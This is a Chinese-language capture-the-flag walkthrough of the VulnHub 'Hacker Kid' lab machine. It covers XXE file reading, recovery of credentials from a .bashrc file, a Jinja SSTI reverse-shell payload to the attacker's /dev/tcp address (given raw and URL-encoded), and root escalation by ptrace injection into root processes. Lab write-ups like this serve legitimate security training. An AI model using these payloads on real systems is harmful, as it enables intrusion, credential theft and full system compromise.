前期准備:
靶機地址:https://www.vulnhub.com/entry/hacker-kid-101,719/
kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.208
一、信息收集與利用
1、使用nmap對目標靶機進行掃描
發現開放了DNS的 53 端口,http的 80 和 9999 端口。
2. 80端口
他說要更多的挖掘,看一下源代碼:
有提示,說用 get 參數 page_no 去查看頁面,做一下模糊測試,這里的頁面大概是數字的那就用 burpsuite 掃一下:
又發現,訪問一下:
提示說有一些子域。並且還給了一個子域 hackers.blackhat.local,把這個域名加入 hosts 文件,再訪問:
和之前的一樣,再用 dig 工具挖掘一下:
發現一個新的域名:hackerkid.blackhat.local,加到 hosts 文件中訪問一下:
是個表單,看一下源代碼:
發現提交的表單信息是 XML 文件格式的,可以試試 [XXE](https : //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection "XXE") 注入,抓包注入一下試試:
注入成功,電子郵件被替換為 /etc/passwd 文件的內容,並且看到 saket 的用戶權限較高,查看他賬戶下有沒有 .ssh,.bashrc 等文件:
.ssh 中的文件看不到,不過看到了 .bashrc 文件,base64 解碼一下:
得到有個用戶名和密碼,username="admin",password="Saket!#$%@!!"可能在 9999 端口中會用到。
3. 9999端口
用剛才發現的用戶名密碼登陸一下:
登陸之后什么都沒有,密碼中有 saket,如果存在 saket用戶,那可能 saket 用戶的密碼也是這個,試一下:
能登進去,他說告訴他名字,把 name 當做參數試一下:
返回 Hello 1,試一下 SSTI:
SSTI 有效,那嘗試寫入shell並用nc監聽:
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.11.129/1234 0>&1"')}}
訪問后報錯了,那就 url 編碼一下
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.129%2F1234%200%3E%261%22%27%29%7D%7D
二、提權
nc 連接成功,升級 shell 后簡單查看一下系統內的文件后沒發現什么,linpeas.sh跑一下:
檢測到python具備 cap_sys_ptrace+ep 能力,可以利用這個進行提權,提權原理見:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc 。網上就有提權腳本,下下來:
利用這個腳本的話就需要找個 root 進程進行注入,寫個簡單的腳本對 root 進程注入批量的嘗試:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat 查看一下是否開啟監聽了5600端口:
在監聽狀態,直接在 kali 上 nc 連接:
獲得 root 權限。